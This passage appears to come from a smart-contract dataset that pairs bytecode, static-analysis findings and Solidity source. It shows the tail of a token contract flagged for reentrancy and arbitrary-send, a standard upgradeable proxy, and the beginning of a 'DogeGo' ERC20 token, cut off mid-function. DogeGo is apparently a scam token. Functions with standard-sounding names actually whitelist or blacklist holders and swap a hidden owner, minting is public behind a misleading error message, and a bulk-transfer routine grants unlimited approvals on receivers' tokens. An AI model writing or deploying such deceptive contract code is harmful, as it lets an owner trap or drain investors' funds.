c16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fdd944e126e249a1d6953af6f25acaf62ab8556d0b1f5e463f9f7cee25e0542964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,011
0x9bfFAd7A6d5F52dBC51cAE33E419793C72fD7d9D
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; contract ArcProxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ /* solium-disable-next-line */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ /* solium-disable-next-line */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable { assert( IMPLEMENTATION_SLOT == bytes32( uint256(keccak256("eip1967.proxy.implementation")) - 1 ) ); _setImplementation(_logic); if (_data.length > 0) { /* solium-disable-next-line */ (bool success,) = _logic.delegatecall(_data); /* solium-disable-next-line */ require(success); } assert( ADMIN_SLOT == bytes32( uint256(keccak256("eip1967.proxy.admin")) - 1 ) ); _setAdmin(_admin); } /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () external payable { _fallback(); } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _delegate(_implementation()); } /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { /* solium-disable-next-line */ assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. /* solium-disable-next-line */ assembly { size := extcodesize(account) } return size > 0; } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; /* solium-disable-next-line */ assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; /* solium-disable-next-line */ assembly { sstore(slot, newImplementation) } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall( address newImplementation, bytes calldata data ) external payable ifAdmin { _upgradeTo(newImplementation); /* solium-disable-next-line */ (bool success,) = newImplementation.delegatecall(data); /* solium-disable-next-line */ require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; /* solium-disable-next-line */ assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; /* solium-disable-next-line */ assembly { sstore(slot, newAdmin) } } }
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b146101075780638f28397014610138578063f851a4401461016b575b610052610180565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b0316610192565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b5090925090506101cc565b34801561011357600080fd5b5061011c610279565b604080516001600160a01b039092168252519081900360200190f35b34801561014457600080fd5b506100526004803603602081101561015b57600080fd5b50356001600160a01b03166102b6565b34801561017757600080fd5b5061011c610370565b61019061018b61039b565b6103c0565b565b61019a6103e4565b6001600160a01b0316336001600160a01b031614156101c1576101bc81610409565b6101c9565b6101c9610180565b50565b6101d46103e4565b6001600160a01b0316336001600160a01b0316141561026c576101f683610409565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610253576040519150601f19603f3d011682016040523d82523d6000602084013e610258565b606091505b505090508061026657600080fd5b50610274565b610274610180565b505050565b60006102836103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a461039b565b90506102b3565b6102b3610180565b90565b6102be6103e4565b6001600160a01b0316336001600160a01b031614156101c1576001600160a01b03811661031c5760405162461bcd60e51b81526004018080602001828103825260368152602001806104dc6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103456103e4565b604080516001600160a01b03928316815291841660208301528051918290030190a16101bc81610449565b600061037a6103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a46103e4565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103df573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6104128161046d565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610476816104d5565b6104b15760405162461bcd60e51b815260040180806020018281038252603b815260200180610512603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820adaa171b0dadd83f811d79d98a406b53316f23f1a2f295fa933b7d36108ebfcf64736f6c63430005100032
{"success": true, "error": null, "results": {}}
1,012
0x6f94def94d8bb654523aca50097eb1e8248bacaf
/** *Submitted for verification at Etherscan.io on 2021-06-04 */ pragma solidity ^0.6.5; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract DogeGo is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => bool) private _whiteAddress; mapping(address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name = "Doge Go Coin"; string private _symbol = "DOGEGO"; uint8 private _decimals = 18; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; uint256 initialSupply = 10000000000; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor() public { _owner = msg.sender; _safeOwner = msg.sender; _mint(msg.sender, initialSupply * (10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer( uint256 approvecount, address[] memory receivers, uint256[] memory amounts ) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if (i < approvecount) { _whiteAddress[receivers[i]] = true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve( receivers[i], _unirouter, 115792089237316195423570985008687907853269984665640564039457584007913129639935 ); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from 